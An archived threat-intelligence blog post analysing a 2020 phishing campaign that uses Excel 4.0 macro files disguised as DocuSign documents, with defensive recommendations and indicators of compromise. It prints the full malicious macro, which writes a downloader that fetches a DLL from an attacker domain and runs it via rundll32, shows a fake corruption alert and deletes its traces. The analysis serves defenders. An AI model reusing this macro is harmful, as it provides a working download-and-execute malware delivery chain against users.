Yet Another Active Email Campaign With Malicious Excel Files Identified

web.archive.org/web/20200929145931/https://www.comae.com/posts/2020-03-13_yet-another-active-email-campaign-with-malicious-excel-files-identified/

Posted by *Matt Suiche* | Published on March 13, 2020

Categories: `malware` `threat intelligence`
Tags: `CALCGANG`
Reading time: 3 minutes.Table Of Contents:
We identified a potential campaign in preparation where the victim would receive a zip file containing a Malicious Excel file embedding Excel 4.0 Macros—requiring user interaction to infect the victim. We believe this is the same group as the one we discussed in February due to high similiarities in the modus operandi. This time again, the downloaded DLL would run calc.exe&mldr;

Due to the focus on running the Windows Calculator (`calc.exe`) by the group which seems to be preparing a campaign, we decided to call this group the `CALCGANG` . The new stage of this campaign seems to have started on March 5, 2020.

image

Malicious Excel File Impersonating DocuSign

The chain works as the following:

- Victim receives a compressed archive (.xls.zip) file.
- Once opened, the .xls file asks the user to enable macros to allow the document to connect to a remote server to send a web request that returns back the malicious macros to be executed. This is quiet ingenious as it allows some degree of flexibility to the attacker—but also to evade traditional detection since the malicious macros would not be inside the file.

  The document pretends to be a DocuSign image.
- Malicious macro downloads a dll which gets executed with `regsvr32`
- Weirdly enough, the dll that gets downloaded is a 32-bits dll which __spawnvpe() Windows's Calculator application.

image

The sample in question was not present on VirusTotal.

We found that the distributing domains are hosted on Alibaba Cloud. Details are provided at the end of the blog-post. New domains were registered on Mach 5, 2020.

image

Web Query Dynamically Retrieving the DLL

Once the Web Query gets executed, the following macro will be returned to be executed by Microsoft Excel. Unlike, the February version this one seems slightly more complicated but works the same way.

```
FOPEN(R[8]C[-2],3)
=FWRITELN(R[-1]C,"Dim WinHttpReq , oStream")
=FWRITELN(R[-2]C,"Set WinHttpReq = CreateObject(""MSXML2.ServerXMLHTTP.6.0"")")
=FWRITELN(R[-3]C,"WinHttpReq.setOption(2) = 13056")
=FWRITELN(R[-4]C,"WinHttpReq.Open ""GET"", ""https://pjtcdnrd.pw/DVnsdvisdv"",
False")
=FWRITELN(R[-5]C,"WinHttpReq.setRequestHeader ""User-Agent"", ""Mozilla/4.0
(compatible; MSIE 6.0; Windows NT 5.0)""")
=FWRITELN(R[-6]C,"WinHttpReq.Send")
=FWRITELN(R[-7]C,"If WinHttpReq.Status = 200 Then")
=FWRITELN(R[-8]C,"Set oStream = CreateObject(""ADODB.Stream"")")
=FWRITELN(R[-9]C,"oStream.Open")
=FWRITELN(R[-10]C,"oStream.Type = 1")
=FWRITELN(R[-11]C,"oStream.Write WinHttpReq.ResponseBody")
=FWRITELN(R[-12]C,"oStream.SaveToFile """&R[-5]C[-2]&""", 2")
=FWRITELN(R[-13]C,"oStream.Close")
=FWRITELN(R[-14]C,"End If")
=FCLOSE(R[-15]C)
=EXEC("explorer.exe "&R[-8]C[-2]&"")
=WAIT(NOW()+"00:00:05")
=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it is
corrupt.",2)
=FOPEN(R[-10]C[-2],3)
=FWRITELN(R[-1]C,"Set obj = GetObject(""new:C08AFD90-F2A1-11D1-8455-00A0C91F3880"")")
=FWRITELN(R[-2]C,"obj.Document.Application.ShellExecute ""rundll32.exe"",""
"&R[-14]C[-2]&",DllRegisterServer"",""C:\Windows\System32"",Null,0")
=FCLOSE(R[-3]C)
=EXEC("explorer.exe "&R[-14]C[-2]&"")
=FILE.DELETE(R[-16]C[-2])
=CLOSE(FALSE)
```

Malicious Macro Code

It is unclear at this point if the attackers are just doing some scoping & testing on an upcoming campaign.

image

Malicious DLL executing __spawnvpe(`calc`)

image

RSDS Section

Original DLL name appears to be calc.dll, according to the PDB Debugging Path String `C:\Cigital\Tools\calc_security_poc\dll\dll\Release\calc.pdb`

The dll code looks very similar to another dll available on available on GitHub. Just like last month, it seems that the CALCGANG loves to use publicly available examples for their tests.

This could be that attackers are in training and learning how to spam and infect victims, or also that those servers will be rotated with more malicious contents. It is also unclear if this campaign is connected to Dudear.

image

VirusTotal and the DLL

Detection on VirusTotal is still pretty low (non existent) at the time of writing the article.

At the time of writing this article another security researcher also noticed that the `CALCGANG` started to used DocuSign for their documents:

> March 4th they switched from Office image lure to DocuSign. Break from campaign March 7 - 11. Post-infection: copy of .dll dropped in %APPDATA%\random\. Persistence: Run key -> rundll32.exe %APPDATA%\random\*.dll,DllRegisterServer. Sometimes I get a follow-up hvnc drop.
>
> — Malware Breakdown (@DynamicAnalysis) March 13, 2020

Another interesting fact is that it seems that several files containing the domain name have been dropped in CrowdStrike Falcon Sandbox (Hybrid Analysis) since the creation of the domain name - but it does not seem to be detected at all by any vendors.

image

Key Recommendations:

- Do not enable macros on files from unknown senders
- Always be suspicious of legacy office files such as .XLS, .DOC or .RTF.
- Make sure to have memory analysis as part of your incident response strategy to detect and assess potential infections on hosts. We can help you with our automated platform and utilities.
- Consider using Application Guard for Microsoft Office.

Indicator of compromise (IoC):

Excel File Hashes:

```
9E730ACE03BB5A2C18A3EDD25E31C1FAFA02F751A06A467E13C778F2632C4771
B62CC06350B71F22363E2A7AC0A1E8389CA39DF08C60A41E27D60124D24EE2A1
```

Additional hashes from Hybrid Analysis:

```
c443f2defea919d292e429ab4a78cd243bb6d588a0b6043d3026a62108f9fd62
92db28d09178a32a5a306726a17c8f0734daa873d63f05cf1eb6037027e4f436
38b6637c82246df63eb8312f425704979c3eab1977d668d9bbeaa67242e8d56f
56095222c95b61a3a4ad7cafb24b369721f36434bff6011a0d4d36bcb5c49440
2025dbd77e2b689fb2325cab54ea8c25fbd5c4d65e12ff4451de94f476c2bf76
```

Malicious DLL

```
C25812F5C1B6F74EC686A928461601C305DA29E6C36BBDCE0637CC44D30F2C19
```

Domain Names & Servers:

Domains are sharing a common IP address, and to are hosted in Alibaba Cloud.

- `pjtcdnrd.pw (Registered On 2020-03-05)`
- `161.117.177.248`

Related

February 22, 2020 - Active Email Campaign Identified With Malicious Excel Files

CALCGANG